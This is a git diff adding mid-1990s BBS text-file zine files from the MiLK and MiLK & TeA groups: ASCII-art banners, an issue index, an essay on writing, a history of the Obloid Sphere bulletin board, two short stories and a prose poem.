³°³°³°ÀÄ´°Ú¿À¿ Senior Staff: ³°³ ³°³°³°ÀÄ´°Ú¿À¿ +ÀÄÙ ÀÄÁÄÁÄÄÄÁÄÙÀÄÙ James Hetfield ÀÄÙ ÀÄÁÄÁÄÄÄÁÄÙÀÄÙ + Rattle +ÚÄÄÂÄÄÂÄÂÄ¿ ÚÄ¿ÚÄ¿ Writers: ÚÄÄÂÄÄÂÄÂÄ¿ ÚÄ¿ÚÄ¿ +³ Ú¿ ÃÄ´ ³ ³ ÀÙÚÙ Epic ³ Ú¿ ÃÄ´ ³ ³ ÀÙÚÙ +³°³ ³°³°³°ÀÄ´°Ú¿À¿ Snakelady ³°³ ³°³°³°ÀÄ´°Ú¿À¿ +ÀÄÙ ÀÄÁÄÁÄÄÄÁÄÙÀÄÙ Nyarlathotep ÀÄÙ ÀÄÁÄÁÄÄÄÁÄÙÀÄÙ + Malakai +ÚÄÄÂÄÄÂÄÂÄ¿ ÚÄ¿ÚÄ¿ AND: ÚÄÄÂÄÄÂÄÂÄ¿ ÚÄ¿ÚÄ¿ +³ Ú¿ ÃÄ´ ³ ³ ÀÙÚÙ Diseased Rat: Pippy Longstockings ³ Ú¿ ÃÄ´ ³ ³ ÀÙÚÙ +³°³ ³°³°³°ÀÄ´°Ú¿À¿ ³°³ ³°³°³°ÀÄ´°Ú¿À¿ +ÀÄÙ ÀÄÁÄÁÄÄÄÁÄÙÀÄÙ ÀÄÙ ÀÄÁÄÁÄÄÄÁÄÙÀÄÙ +ÚÄÄÂÄÄÂÄÂÄ¿ ÚÄ¿ÚÄ¿ ÚÄÄÂÄÄÂÄÂÄ¿ ÚÄ¿ÚÄ¿ ÚÄÄÂÄÄÂÄÂÄ¿ ÚÄ¿ÚÄ¿ ÚÄÄÂÄÄÂÄÂÄ¿ ÚÄ¿ÚÄ¿ +³ Ú¿ ÃÄ´ ³ ³ ÀÙÚÙ ³ Ú¿ ÃÄ´ ³ ³ ÀÙÚÙ ³ Ú¿ ÃÄ´ ³ ³ ÀÙÚÙ ³ Ú¿ ÃÄ´ ³ ³ ÀÙÚÙ +³°³ ³°³°³°ÀÄ´°Ú¿À¿ ³°³ ³°³°³°ÀÄ´°Ú¿À¿ ³°³ ³°³°³°ÀÄ´°Ú¿À¿ ³°³ ³°³°³°ÀÄ´ Ú¿À¿ +ÀÄÙ ÀÄÁÄÁÄÄÄÁÄÙÀÄÙ ÀÄÙ ÀÄÁÄÁÄÄÄÁÄÙÀÄÙ ÀÄÙ ÀÄÁÄÁÄÄÄÁÄÙÀÄÙ ÀÄÙ ÀÄÁÄÁÄÄÄÁÄÙÀÄÙ diff --git a/textfiles.com/magazines/MILK/m2.dat b/textfiles.com/magazines/MILK/m2.dat new file mode 100644 index 00000000..c780b574 --- /dev/null +++ b/textfiles.com/magazines/MILK/m2.dat @@ -0,0 +1,67 @@ +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + The [MiLK] Files + + [1] "Cows (Where MiLK Comes From)" -By James Hetfield + [2] "Warez Boards Can Be Fun" -By James Hetfield + [3] "MiLK's Guide to Being an Asshole" -By James Hetfield + [4] "The Hunt" -By James Hetfield + [5] "Carrie Jacobson: A Case Study" -By Epic + [6] "Pete: Part 1" -By Nyarlathotep + [7] "Are You Easily Influenced?" -By Epic + [8] "Tang Beverage Crystals" -By Epic + [9] "Joe" -By Plaid Wilderbeast +[10] "Suger High" -By James Hetfield +[11] "Propaganda and Shit" -By James Hetfield +[12] "Supermarkey Sweep" -By Epic +[13] [MiLK] Poetry -By James Hetfield +[14] "Wank Bunny: Part 1" -By James Hetfield +[15] "Wank Bunny: Part 2" -By James Hetfield +[16] "Ostrich Rider from Philly" -By Medicine Man +[17] "Jest Fox: Part 1" -By Black Justice +[18] "Pete: Part 2" -By Nyarlathotep +[19] "Jest Fox: Part 2" -By Black Justice +[20] "Safety Pins" -By Epic +[21] "Lemmy" -By Igor Shimsky +[22] "Faces in the Halls" -By James Hetfield +[23] "The Inferno Chronicles" -By James Hetfield +[24] "Easy Money [MiLK] Style" -By Nature Boy +[25] "Millie" or "Die, Die, Die" -By Yohan Bawk +[26] "Just Add Water" -By Epic +[27] "As You Were" -By Epic +[28] "People Are Shitheads" -By Yohan Bawk +[29] "Anarchy! (And Shit)" -By James Hetfield +[30] "Easy Ways to Shock Your Parents" -By Yohan Bawk +[31] "50 Ways to Say Fart" -By Black Justice +[32] "Let's Talk about Sex" -By Yohan Bawk +[33] "A Welcome or Something" -By IceMECH +[34] "Keeping Things in Proper Perspective" -By Yohan Bawk + [A] [MiLK] Big Issue #1 + [B] [MiLK] Big Issue #2 + [C] [MiLK] Big Issue #3 + [D] [MiLK] Big Issue #4 +[35] "The Feeding" -By James Hetfield +[36] "Road To Somewhere" -By Whoops +[37] "All About Spam" -By Malakai +[38] "Conrad" -By Conrad +[39] "The Guide to Finer BBSing" -By Malakai +[40] "The [MiLK] Guide to Atari" -By James Hetfield +[41] "How to FLY!" -By King Krazy +[42] "The Regurgitation" -By Whoops +[43] "No Title Cuz We're Confused" -By Randall Flagg +[44] "Oj Simpson" -By Winter Solstice +[45] "S L E E P" -By Malakai +[46] "The Facts about Lampreys" -By James Hetfield +[47] "Eat Pills" -By Epic +[48] "Sarcasm / How To" -By Whoops +[49] "The Big Book of Ducks" -By Malakai +[50] "[MiLK] Update 7/94" -By JH/Epic +[51] "Propaganda (And Shit) ][" -By James Hetfield +[52] "The Lamprey Compilation" -By Yohan Bawk +[53] "Conpoems" -By Conrad +[54] "I'm Here to Make You Bleed" -By Frizzle Fry +[55] "Silly Pathetic Adventures of Malakai" -By Malakai +[56] "TV Today" -By Nyarlathotep +[57] "Stress" -By Epic +[58] "Chat Addiction Anonymous" -By James Hetfield +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + diff --git a/textfiles.com/magazines/MILK/milk&tea.001 b/textfiles.com/magazines/MILK/milk&tea.001 new file mode 100644 index 00000000..2b6a6dfa --- /dev/null +++ b/textfiles.com/magazines/MILK/milk&tea.001 @@ -0,0 +1,114 @@ + + ÜÜÜ +ÛÜÛÜÛ MiLK and tea will ruin the scene in '95! +ÝÞÛÝÞ / +ßÜÜÜß Ä[ Mighty illicit Liquid Kollections AND Text elite Anarchists present: + + MiLK & TeA issue #001 + "My Brain Exploded" + -By James Hetfield + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + I've been thinking a lot lately. I've been thinking to the point +that it hurts to think anymore. That's how much I've been thinking. I've +been thinking about conversations I've once had, and conversations others +have had. I've been thinking about how the days get longer and the nights +get longer and the days are numbered and the nights are numbered. I've been +thinking about the things people say to me and the things people say about +me. I've been thinking about the things I've said about others to others. + + But most of all, I've been thinking about writing. Writing in +general. Why do I do this stuff? Why am I sitting here now, writing the +first MiLK and TeA issue to be released? Why have I spent a great deal of +the last year of my life doing things like writing these text files? Why +does it bring me pleasure for people to read these? It doesn't say anything +about my writing skills; anybody can write a text file. It doesn't prove +anything, really. So why do I write? + + A better question is; why does anyone write for the public? What +makes others want to tell others a story? I believe there are a few factors +involved. Most people that write want to have power. The power of the pen, +or in this case the power of the keyboard, is a very strong power indeed. It +can suck people into another world; another reality. My reality, in this +case. Why do I want people in my reality? For control. For the power I +then gain. Is it a lot of power? Not necessarily. By people reading my +fiction, it doesn't really make me any stronger of an individual. But it +still has the basic aspect of why I write: to gain control of other's +thoughts. + + Yes, it doesn't sound pleasant. And it's not like this is my +conscious reasoning for writing. I write because I'm bored. Or because I +feel I need to. Or because I have people waiting for something. I don't +write to control people. But subconsciously, this is what writing is all +about. It's another power game we all play. Overpower the teacher, you get +an A. Overpower the BBSer, you get fame. + + And that brings me to another point; what exactly is good writing? +A lot of people find stories about lampreys funny around me, but that's +because It's a private joke that most others don't see the true hysterics +contained within. Good writing is a writing that gains control over the most +amount of people. This can be something simple, like "Eat Pills" by Epic, +that is simply a satire, or "The Communist Manifesto". Both of these +items were written to overpower people and bring them into the author's +reality. However, how many people stopped taking pills because of Epic's +essay? And how many people tried to abolish capitalism because of Marx's +writing? I think you hear me knocking, and I think I'm coming in, and I've +got an angry mob of laborers with me. + + Now that I have that all down, let's focus on a happier subject; +Why does MiLK and TeA write? Besides the obvious, that we want to gain +domination of the United States text file reading public, we write for a +fairly simple reason: We are plagued with Graphomania. Graphnomania is +an obsession for writing. The reasoning behind our obsession is as follows: + + 1. We have low self-concepts, and by writing he hope to achieve +a higher form of living. However, this is a giant misconception of ours. +Writers, though their works, end up closing themself off further from +reality, making them selves less and less social. By writing, we are simply +destroying ourselves. + + 2. We feel we have some sort of "message" we have to tell the world. +In actually we're just a bunch of young men and women who have no clue what +life is all about yet, and we are desperately trying to get a grasp on what +the meaning of life is. + + 3. By having an audiance, we are getting attention to ourselves, +another by-product of low self-esteem. We're all glory hounds. We dream +about being published someday. In actuality, most of us won't do any better +than working at McDonald's for the rest of our lives. + + Now, since you finally know what MiLK and TeA stands for, I think +I can conclude this issue. I hope this first issue hasn't brought you down +too much, I just wanted to let you all know, both readers and authors alike, +what you're really getting into. It's a disease. A disease of the mind. +There's no two ways around it. And by the way, this should be the first and +last "serious" issue of MiLK and TeA ever put out. Most issues will end up +being about Cheeze, or some other dairy products. Or purhaps they will tell +us the secrets of chia pets. We can only wait and see. + + Thank you for reading this. I'm sorry I wasted your time. + + ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ + ³ MiLK & TeA Member Listing: ³ + ³ ³ + ³ James Hetfield Rattle Pip The Angry Youth ³ + ³ ³ + ³ MiLK & TeA Sights: ³ + ³ ³ + ³ The Obloid Sphere 41:708/1 [708]965-3098 [Illinoizze] ³ + ³ The Land of Rape and Honey 41:609/1 [609]698-1358 [New Jarsee] ³ + ³ ³ + ³ Note: These are the only two MiLK & TeA sights to date. There are like ³ + ³ 10,000 other boards supposedly ready to be milk and tea sights, but until ³ + ³ I get the news that say they are ready to distribute, They'll remain ³ + ³ unlisted. -Jamesy ³ + ³ ³ + ³ An udder note: The addresses listed above are for [LaMENeT], The offical ³ + ³ net of M&T. You can reach the editors of M&T through the boards listed ³ + ³ above with LaMENeT Addresses. Whoomp, there it is. ³ + ³ ³ + ³ .nfo: File: #001 Author: James Hetfield ³ + ³ Size: 7100 Bytes Title: "My Brain Exploded" ³ + ³ ³ + ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ diff --git a/textfiles.com/magazines/MILK/milk&tea.002 b/textfiles.com/magazines/MILK/milk&tea.002 new file mode 100644 index 00000000..595fc16c --- /dev/null +++ b/textfiles.com/magazines/MILK/milk&tea.002 @@ -0,0 +1,106 @@ + + ÜÜÜ +ÛÜÛÜÛ MiLK and tea will ruin the scene in '95! +ÝÞÛÝÞ / +ßÜÜÜß Ä[ Mighty illicit Liquid Kollections AND Text elite Anarchists present: + + MiLK & TeA issue #002 + "Obloid Recollections" + -By Nyarlathotep + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + The history of the Obloid Sphere (By Nyarlathotep) + + + The history of the Obloid Sphere should probably begin with the +the history of another very influential BBS, The Halls of the Video +Warrior. I am not sure of the early history of this board, so I will +talk of it from the time when I joined it. When I first called it (I got +the number from the Stillwaters BBS list) it was actually under the name +of The Wine Cellar, and the sysop was Ambrose Spike, cool guy. Well, this +carnation was short lived, and soon it returned to its previous name of +Halls of the Video Warrior (Hallza), with Ambrose emerging that handle +with his old handle of Dirk Gently, forming Dirkbrose Spikely. + This was back in the days when I first started modeming really, +and for some reason I kept running across a certain guy, James Hetfeild +on every board I called. Hallza was no exception. Hallza's greatest +claim to fame was the best Neverending story base ever. And on this base +was the greatest story ever. Basically it pitted the Dirkbrose and his +cosysops in an adventure to find the Obloid Sphere in order to save the +world from some great flood or something. Jamesy and myself were both +very active in posting on this storey, and for the few weeks it lasted, +it was the greatest thing ever. + Well, now a couple of months later, I am chatting with Jamesy on +Nuclear Greenhouse, and he mentions that he is making a board, and wants +to know if Ill call it and test it out. I say ok, and I test it out, and +play Operation Overkill ][, which I was hooked on at that time. He then +asks me if I wanted to be a co, because he wants the password of +THEFOURHORSEMEN to make sense. Ok, I say, and along with Dark Lord (now +known as Dalamar) and someone else, I begin to take my place in history. + Sometime around Christmas Break of the 92-93 school year the +board officially goes up. At first things are slow, but certain regulars +pop up along with me Jamesy and Dork Lard. Lady Catninja, Constantine, +Jack Roberts and Oregano were some of the early users. It is around this +timt when a very good game of Trade Wars began, with the evil forces of +myself and Jamesy under Dark Lord pitted against LCN, Constantine and +the forces of good. This game didnt last too long before one of the +spheres early cycles of overhauls. + The Sphere used to go down and get changed on what seem seemed +be almost a monthly basis way back then. I lost count somewhere around +the fourth incarnation, but Jamesy might know what the Sphere's current +incarnation is. This was annoying to some of the users, but the message +bases still were full. That was the amazing thing about the board, was +that it was basically purely a message board, one of the few in the +existance, and also the only one that I know of that has survived so +long. + Sometime in the Summer of '93 Jamesy began his first attempt at +a textfile group, Oblo1dism, or something to that effect. This group did +not last very long, but it included the immortal work of Oregano, the +Ingestable Dog. It was also around the summer of '93 that Midget Caesar +and Jack Robert's sister joined the expanding user list, which also now +included Nex, and an occasional visit by Windrider. + The summer of '93 is also noteworthy as it was at this time that +the Orignal BaGFeST took place. The six original BaGFeSTeRs, Oregano, +Jack Roberts, Jamesy, Midget Caesar, Count Zero and myself romped around +evanston with Bags on our heads and our spirits high. It was a success +despite the low turnout. + Sometime after the '93-'94 school year began Jamesy started MiLK +out of the ashes of Obloidism, but thats another story. At this time I +was sort of Distant, as I was away at school. Eventually Barney's +Pleasure Palace came up in the Sphere's place. However soon after the +'93-'94 school year was over for me, the Sphere was backin its rightful +place. The summer of 94 included BaGFeST II, which was a phenomenal +success with 20 participants including all of the original 6. + Then, at the beginning of the '94-'95 school year disaster +struck. Evil parents forced the dismantling of the Sphere, and as a side +of effect, the death of MiLK. However, you can't keep a good Sphere +down, and eventually it did rise again. And along with the Revival of +the Obloid Sphere comes the spawining of MiLK and Tea from MiLK and the +New Jersey t-file group of THo (kinda). And that is the History of the +Obloid Sphere... for now at least. + + + ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ + ³ MiLK & TeA Member Listing: ³ + ³ ³ + ³ James Hetfield Rattle Pip The Angry Youth Nyarlathotep ³ + ³ ³ + ³ MiLK & TeA Sights: ³ + ³ ³ + ³ The Obloid Sphere 41:708/1 [708]965-3098 [Illinoizze] ³ + ³ The Land of Rape and Honey 41:609/1 [609]698-1358 [New Jarsee] ³ + ³ ³ + ³ Note: These are the only two MiLK & TeA sights to date. There are like ³ + ³ 10,000 other boards supposedly ready to be milk and tea sights, but until ³ + ³ I get the news that say they are ready to distribute, They'll remain ³ + ³ unlisted. -Jamesy ³ + ³ ³ + ³ An udder note: The addresses listed above are for [LaMENeT], The offical ³ + ³ net of M&T. You can reach the editors of M&T through the boards listed ³ + ³ above with LaMENeT Addresses. Whoomp, there it is. ³ + ³ ³ + ³ .nfo: File: #002 Author: Nyarlathotep ³ + ³ Size: 6781 Bytes Title: "Obloid Recollections" ³ + ³ ³ + ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ diff --git a/textfiles.com/magazines/MILK/milk&tea.003 b/textfiles.com/magazines/MILK/milk&tea.003 new file mode 100644 index 00000000..ccaefa8b --- /dev/null +++ b/textfiles.com/magazines/MILK/milk&tea.003 @@ -0,0 +1,105 @@ + + ÜÜÜ +ÛÜÛÜÛ MiLK and tea will ruin the scene in '95! +ÝÞÛÝÞ / +ßÜÜÜß Ä[ Mighty illicit Liquid Kollections AND Text elite Anarchists present: + + MiLK & TeA issue #003 + "Travel by Night" + -By Snakelady + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + I've been looking at the moon since dusk, hoping to find some clues that may +contradict what it so obviously tells me. Mother taught me moonreading , and +with everything I've learned from her and experience, it seems that its going +to be a very cold winter. Normally, I would travel away from the Unmoving +Star to areas of warmth, but now I know I must travel in the opposite +direction, towards it, to places of such biting cold that I am afraid that my +fur might not protect me. + + I've seen enough. Its time to fully come awake, and get moving quickly. I +can hear and smell Pink Ones in the distance, and my hungry stomach tells me +that I need to linger long enough to feed on the rich harvest of berries in +the ravine nearby. As I arise, I disperse the bedding of leaves and twigs so +that it can never be known that I, or any of my kind had ever been here. + + This is a beautiful place, where stands of pine mix with oak, and an +occasional cedar, all of which seem to dance with ecstasy at the slightest +gust of wind. The season is changing, as I can see the oak leaves starting +to yellow, and even amidst the wondrous songs of the crickets I can hear the +snakes slithering along searching out winter burrows. Unlike the crickets, in +whom I can sense only a dim awareness, in the snakes I can feel an anxious +expectancy. + + I travel down to the ravine and gorge myself with as much as I can. My +stomach begins to growl, but I can not rest, as the Pink Ones are still +getting closer. They are about two hours away now, and if they approach +any closer the pain in my head, from the madness of their thoughts, will +grow unbearable. + + Mother taught me that the Pink Ones were to be avoided at all costs, even +though such lessons are hardly necessary among our kind, she thought it best +to reinforce the sense of danger that they pose to us. I remember how as a +child, before my senses were fully developed, that out of curiosity and fear, +I would seek out and spy on them. I was amazed at how blind and deaf they +were, and how they possessed no awareness at all, since they only +communicated with sound. But nevertheless, they were deadly, since in the +distant past they had done their best to destroy us. Now their menace to us +has become more subtle, since they are not even aware of our existence. They +carry seeds of death, which cause us to sicken and die, while they force us +more and more apart in our efforts to avoid them. + + I remember when mother became ill, and I helped her on the long trek to the +Place of Departure. It was a huge and labyrinthine cave that no Pink One had +ever seen. Within it were the remains of our ancestors for thousands of +generations. It was obvious that there was a time when our people were +very numerous, and from the pictures on the walls of animals that no +longer existed, mother told me of a time of ice, before the the Pink Ones +came. She taught me how to read the pictures on the walls, from the oldest +that portrayed how our people had crossed the ice where the Unmoving Star +hung nearly overhead, and travelled away from it to a land where they had +prospered and had become so numerous that they had to spread out far and +wide simply to hear their own thoughts. Sadly, mother also taught me how to +make the pigments so that I was able to make a picture for her, when her time +of passing came. Which it did, within a very short time. As I drew her story, +I broke tradition and put in a small picture of myself. For all to know I had +existed. For in this land, I was the last of my kind. In the pictures I had +learned of the Other Land. I knew I must travel there, never to return. + + Enough of remembering. I must move on. In the reverie before sleep, when +my senses are the most acute, I have sensed the presence of at least one +other, but so very, very faint that I often wonder if I am imagining it. + + I travel fast, as our kind can outrun even the swift bear, and we can also +maintain the pace for half a day. Within a short time the Pink Ones, with +their killing sicknesses, are out of range. + + Dawn is approaching. I have travelled far and it is time to sleep. And +dream. Of that Other One, with whom perhaps I could have a son or daughter to +draw my story when the time of passing comes. + + ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ + ³ MiLK & TeA Member Listing: ³ + ³ ³ + ³ James Hetfield Rattle Pip The Angry Youth Nyarlathotep ³ + ³ Snakelady ³ + ³ ³ + ³ MiLK & TeA Sights: ³ + ³ ³ + ³ The Obloid Sphere 41:708/1 [708]965-3098 [Illinoizze] ³ + ³ The Land of Rape and Honey 41:609/1 [609]698-1358 [New Jarsee] ³ + ³ ³ + ³ Note: These are the only two MiLK & TeA sights to date. There are like ³ + ³ 10,000 other boards supposedly ready to be milk and tea sights, but until ³ + ³ I get the news that say they are ready to distribute, They'll remain ³ + ³ unlisted. -Jamesy ³ + ³ ³ + ³ An udder note: The addresses listed above are for [LaMENeT], The offical ³ + ³ net of M&T. You can reach the editors of M&T through the boards listed ³ + ³ above with LaMENeT Addresses. Whoomp, there it is. ³ + ³ ³ + ³ .nfo: File: #003 Author: Snakelady ³ + ³ Size: 6624 Bytes Title: "Travel by Night" ³ + ³ ³ + ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ diff --git a/textfiles.com/magazines/MILK/milk&tea.004 b/textfiles.com/magazines/MILK/milk&tea.004 new file mode 100644 index 00000000..0bfe65e8 --- /dev/null +++ b/textfiles.com/magazines/MILK/milk&tea.004 @@ -0,0 +1,74 @@ + + ÜÜÜ +ÛÜÛÜÛ MiLK and tea will ruin the scene in '95! +ÝÞÛÝÞ / +ßÜÜÜß Ä[ Mighty illicit Liquid Kollections AND Text elite Anarchists present: + + MiLK & TeA issue #004 + "Tired." + -By Pip the Angry Youth + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + +Tired of everyone acting like their insane, +Pull the flesh gently away from my face, yes, like your dearest loved +one showed you. They're so considerate, with their needle sharp +comments and razor edged glances. No, don't share your heart with them, +the jackals they are. Don't you realize that love is the most +destructive force known to man? Don't you realize that she loves you? + +Tired of everyone looking for affection, +Rub his stomach, yes, like you feel it is right. Rub behind his ears +and feed him some of your slurpee. He's brainless to the core, but he +loves you. You look into his joyful eyes and realize what's corrupt. + +Tired of everyone allways thinking, +The puppy's eyes melt, transform, mutate into hers. There isn't +anything completely pure in them. Her heart tells her that she loves +you, but her mind tells her that she needs more. A tortured artist is +knocking at her door with his backwards hat and the stink of puppy love +so vile. The old jackal is ringing the doorbell on the other side of +her mind, he wants back in. + +Tired of everyone being so insignifigant, +The Universe is vast, nothing you do matters. Everyone is thrown into +the chaos and disorder that makes up everyday life. Millions of scared +cattle. Cattle wandering the world with a dead look in their eyes and +lust in their heart. Thousands of hungry sharks. Sharks looking to get +into others, to feel their warm genitals on their own. Sharks looking +to make others feel powerless and worthless. + +Tired of everyone, +Tired of everyone complaining about their miserable lives. The others +just listen in dead silence while thinking about their own problems. No +one cares to hear another person's problems, only their own. Conversing +about everything with none of it meaningful. Everyone's different now, +they all belong to the different crowd. + +Tired. + + + ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ + ³ MiLK & TeA Member Listing: ³ + ³ ³ + ³ James Hetfield Rattle Pip The Angry Youth Nyarlathotep ³ + ³ Snakelady ³ + ³ ³ + ³ MiLK & TeA Sights: ³ + ³ ³ + ³ The Obloid Sphere 41:708/1 [708]965-3098 [Illinoizze] ³ + ³ The Land of Rape and Honey 41:609/1 [609]698-1358 [New Jarsee] ³ + ³ ³ + ³ Note: These are the only two MiLK & TeA sights to date. There are like ³ + ³ 10,000 other boards supposedly ready to be milk and tea sights, but until ³ + ³ I get the news that say they are ready to distribute, They'll remain ³ + ³ unlisted. -Jamesy ³ + ³ ³ + ³ An udder note: The addresses listed above are for [LaMENeT], The offical ³ + ³ net of M&T. You can reach the editors of M&T through the boards listed ³ + ³ above with LaMENeT Addresses. Whoomp, there it is. ³ + ³ ³ + ³ .nfo: File: #004 Author: Pip the Angry Youth ³ + ³ Size: 4168 Bytes Title: "Tired." ³ + ³ ³ + ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ diff --git a/textfiles.com/magazines/MILK/milk&tea.005 b/textfiles.com/magazines/MILK/milk&tea.005 new file mode 100644 index 00000000..95a09ac5 --- /dev/null +++ b/textfiles.com/magazines/MILK/milk&tea.005 @@ -0,0 +1,93 @@ +ÚÄÄÂÄÄÂÄÂÄ¿ ÚÄ¿ÚÄ¿ :::::ÜßßßÜ:ÜÜÛÛÛßß:ܲÛÛÛÛÜ::: +³ Ú¿ ÃÄ´ ³ ³ ÀÙÚÙ :::ÜÛÝ:::ÞÝÛÛܲÛÝßÞÛÛÛÜÜÛ²Ý:: +³°³ ³°³°³°ÀÄ´°Ú¿À¿ and :Ü۲ܲÜ::ß:ß²Û²ÛÛÜÜþÛÛßÛÛÛÛ:: +ÀÄÙ ÀÄÁÄÁÄÄÄÁÄÙÀÄÙ ß:Û±Û²ÛÛßßß:±ßßßÛßÜÜÛÝÞÛ²ÜÝ:: + ::Û°ß::::ßßß°::ß:::ßÛ:ÛÛ²ß:gh + ° ß± +File #005: Keet (By Snakelady) ° +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + The distant thunder, amplified by the tunnel and the peculiar +geometry of the cavern it led into, startled Keet, causing her to drop +the latest batch of stic that she had uncovered. She had to hurry now, +to the surface and seal up the entrance, so that the rainwater would +not seep into this mine and do damage. She was so proud of herself +for probably being the first to find a mine that apparently had never +been damaged by water, and its attendant rot. Not that it could +damage stic, but she had recently developed an interest in the things +found along with it. Some could be smelted, and others could be used +unprocessed for fuel, but she knew they had purposes other than summoning +evil, as the old ones had said. + + She grabbed the two sacks of stic, mixed with the other things, +and headed to the surface. + + As she was sealing the entrance, a boy, running home to avoid the +ensuing rains, stopped long enough to call her obscene names, which she +easily ignored, as he was at a safe distance, and out of range of a rock +throw. + + Diggers were necessary, she thought, but hated and feared. Did they +not, after all, make their living out of the excrement from the bowels of +the Evil One? Even though the corrosion proof utensils and tools that stic +was used to make were necessary, the source was still despised. And a distant +clan with knowers had uncovered some things in their mines which required a +lot of stic, converted to liquid, to operate. + + Rumors had it they did wondrous things. Like move on their own and +make light. And that clan bartered well. She had even heard that their +knowers had passed along knowledge to all who would listen in places called +skills. And that they had repulsed attacks from some neighboring clans with +magical weapons from the Evil One. Yet the very reason they were attacked +was because they had denied the very existence of both magic, and the Evil +One. And they did not shun diggers. + + As she hurried home under the weight of the sacks, she had decided that +when her grandfather passed on - as had her parents and two sisters from the +Coughing Curse- she would go join that clan. At sixteen seasons, she knew she +would be able to select a fine mate amongst the knowers. And be able to +provide her own dowery from the collection of things she had amassed from +the mines. Especially the woody-things-with-pictures that were extremely +rare, that she had just found in the new mine. Legend had it that they also +contained words, but she didn't see how. But she did hear a trader from the +knower clan ask about them once. He called them 'bux', and said he would +trade a cow for each one! + + As Keet hurried across the field she tripped over a knotted vine, and +when she hit the ground the sacks fell open, and some of those 'bux' fell +out. Dazed, she looked at the funny drawings on the top of each one that were +next to her. Strange drawings with lines and curves, that didn't look like +anything. + + Unbeknownst to her, the drawings did have a pattern: Stedmans Medical +Dictionary, Basic Electronics, Principles of Physics, and Floral Arrangements. + + Getting to her feet, and putting them back in the sack, she smiled as +she handled the last one. It had such pretty pictures. She would demand two +cows for that one. + + + ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ + ³ MiLK & TeA Member 